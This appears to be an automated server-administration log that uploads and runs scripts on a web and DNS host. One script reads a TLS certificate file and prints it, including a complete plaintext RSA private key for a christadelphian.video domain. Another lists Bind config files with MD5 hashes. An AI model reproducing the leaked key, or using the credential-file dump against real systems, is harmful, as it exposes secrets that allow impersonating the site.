        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphian/www_secure_access.log combined
    ErrorLog	/var/log/apache2/christadelphian/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-05-09 11:48:17: 

PUT: /tmp/pkp603931

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-09 11:48:17: 

chmod 755 /tmp/pkp603931; /tmp/pkp603931; rm /tmp/pkp603931

2026-05-09 11:48:17: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt	5360
e4:0d:c0:73:b0:4e:9e:26:67:99:2e:37:4e:a5:20:9b

-----BEGIN CERTIFICATE-----
MIIFAzCCA+ugAwIBAgISBVOLuZRjcE27QJNGlISTXmbSMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNTA5MTA0OTQ0WhcNMjYwODA3MTA0OTQzWjAgMR4wHAYDVQQD
ExVjaHJpc3RhZGVscGhpYW4udmlkZW8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDPGdudHmX3+Pzr6NGcfAAJBQf10rqZm9DzJl8rA+SIt0Kj6w33Oaj9
Fea6WxYjhjIv6GXEU1cP5BOErIubvqRUIPwq4n0PiHfwN5rcKR+yNfLAFydGunXc
zodjiOuKSt1kHw8MaCkGRjJbpBRl66bw2NSApuPSnSR1BzSn6AyU7RivdXR2c2Ej
u7rwqDzhBrkupj1AhM4nkCiaZXj3T9l0DNTCE+mt9CEBhzSc1myvV7mwQKj486Kt
mb1MVDf11auRN5VHBMVdY03xmySU5N5qCgCPZASS2tvYpOJQIyyosPWjVAUGISEn
kL+cu7hFP/FQ2yWpQNTEP2MceW72R0f/AgMBAAGjggIiMIICHjAOBgNVHQ8BAf8E
BAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUr1QmymvZ5iHNhJC119ry3+nVSOwwHwYDVR0jBBgwFoAU56ufDywzoFPTXk94
yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEz
LmkubGVuY3Iub3JnLzAgBgNVHREEGTAXghVjaHJpc3RhZGVscGhpYW4udmlkZW8w
EwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3Ix
My5jLmxlbmNyLm9yZy84My5jcmwwggELBgorBgEEAdZ5AgQCBIH8BIH5APcAdQDY
CVU7lE96/8gWGW+UT4WrsPj8XodVJg8V0S5yu0VLFAAAAZ4MkRE/AAAEAwBGMEQC
ID9WtFwosDHcEF6hNo8owY1VJDN1gsXWr50CYAZLqlViAiBVs0pzYy6N2VjQOrqB
XGRFb7LvS1GmZtZvDQe6oAmGmwB+ACbjZG5YaSEjvDQ/RyQ1mzeSzSRaiNgV05Mz
/ZkYq0cjAAABngyREP4ACAAABQAPGeMYBAMARzBFAiEAoIUfXtzIe1Zx+E4o6Wyi
ccpSA9qNNARxdT3Ksq4/uuYCIBzlxfMAYDx30bRfhe5OLD9Z5z6t1XbPZR/nz3Tv
ABrRMA0GCSqGSIb3DQEBCwUAA4IBAQCDkJk0hePDyVmY/nFm769NFqOMhA+qA2q2
4PQXj6pcMGSv/dWzhxBhOAHuDQrKGGtPuSNdpE7KtfNzgS5qqGzQ2niIKxvUQZ06
7gLFm7aLF8YwSumyS4OseHNHgDera/lHIDZMcFkKoSydT4R00TuzS6HluXXL7NGQ
1KKNLu9NdLV8vrwPjXq4ZYly6aBdn1w5jeYrj619E0HcWzcQGTC8xgFA7yUJYSZb
xAJjm8BTiHzgLMNpAEk3bGQKJw3Mr2c9W27xDuSUTsv6MgQQcLfXgeKlUEt8Ucl0
hOfZDwkYD/pzqx5Tplm0DaniR/LFSckPgjM1OKjMpGY1KJA8q44M
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDPGdudHmX3+Pzr
6NGcfAAJBQf10rqZm9DzJl8rA+SIt0Kj6w33Oaj9Fea6WxYjhjIv6GXEU1cP5BOE
rIubvqRUIPwq4n0PiHfwN5rcKR+yNfLAFydGunXczodjiOuKSt1kHw8MaCkGRjJb
pBRl66bw2NSApuPSnSR1BzSn6AyU7RivdXR2c2Eju7rwqDzhBrkupj1AhM4nkCia
ZXj3T9l0DNTCE+mt9CEBhzSc1myvV7mwQKj486Ktmb1MVDf11auRN5VHBMVdY03x
mySU5N5qCgCPZASS2tvYpOJQIyyosPWjVAUGISEnkL+cu7hFP/FQ2yWpQNTEP2Mc
eW72R0f/AgMBAAECggEAM7Wtn4PlCu7Y2+B0YeGWMqpWa/sTS2Jb4DI/BeMBb19u
nLYGdSmo95Q92V7/3pvVsR+SNVxnuxiEBRb9/sOxjS31OJH3jubQp6KCoKEGAH22
4F6HmIHbBuhsZp5bzVpW//Y/UCY7xAzH6xjDXRVjR/SjzoGdFcvVvACyFZB7f71m
aI4QoRokbyhmGuFpp3HwQFnBqZzuHpHqTjra542wdfk8SdwEP7ULBy+KxMZt+H3k
1Nw/TRnKEKBUnjRxawdHCXYO33DTCA4gXyJdyWQktERRXPkiB0YPT8Iak5dN7sqB
qRyIaioHupyA0ICG9fRBu6WmQJDKGYiLRrdhxJfXYQKBgQDtWEQA+eqKHFgY1d8W
dajzoAiKC0NrtH8sUpIb8KN72BcaYqupkGerpWKXFR0D1Z+nZMnMFHmHjGHs1Pm0
fiMosX5P9DEymHpXlDuL7z0DiAGDVcA2gAP57dy37DpT6SA+ExOnLVMEChllHAaJ
oyy5PmhKDJTDoc3N1C6BwrIaYQKBgQDfYQq2V0fSDpicBbhU5NJOGTIOrRNkydCi
KmFJ8u2qd+1mqDZZstkc+OqNHTJ+pwRfcSifL1G3h6cLHf+l3tTDlX8dXAe7lnd0
TKtLNdJQGfBO9agLbN1dpyTWvFWlgMTYdFCk9MtMpB+OrWYhde41d//bLaxYkAgc
QnxvH0w+XwKBgHxYdPBJ/r2y0djZG9KpfAV/P1oLQpxH6SSwccnfjdcRRDFXpnXk
qNu9fuSGdDgREF7jp/GafH0uaBNrFROhzgvAydtbpPbL+bSufW/3u/CArcJAB77F
3M9w9eUKBxj1FyZOWkqIrWh9Xgah4y7y5Th74KmC4+GGgMsoMeFbvnGhAoGBAIUU
R1GChiM61uh87+iDulcU46Gisx8krMsv/G4V8EnS0PiL1nVx+68rDHGtp1uVHSHP
RKgxhLmWc4pIAPpM2uz6r5RKM8EqT1hWJObV1coq6ePgrpC/9tHItkXIRi4nnR5n
jXP48vViAfr6ixH8NEJej2uAtmC8zlgntAJv3vh5AoGBAMfUUGJ+lzC794RIThNw
fvP8cpuanv5Pp4dcdfQZQ0smXWyiQCj3yp+b9VXnb6LavpWRCpwbz3Gt92PUKcVL
Ftdtrssxrwjxs+noq5zG1ZtsB8+3qD+ZKtdFKvoiUIlfOkwd3/UPtKaAXerz2dZu
BmoCa17HcFvBOQ/RFETNtatO
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-05-09 11:48:38: Establishing a connection
2026-05-09 11:48:58: Establishing a connection
2026-05-09 11:48:58: 

PUT: /tmp/pkp315124

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-09 11:48:59: 

runuser -l bind -s /bin/bash -c '/tmp/pkp315124; rm /tmp/pkp315124'

2026-05-09 11:48:59: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
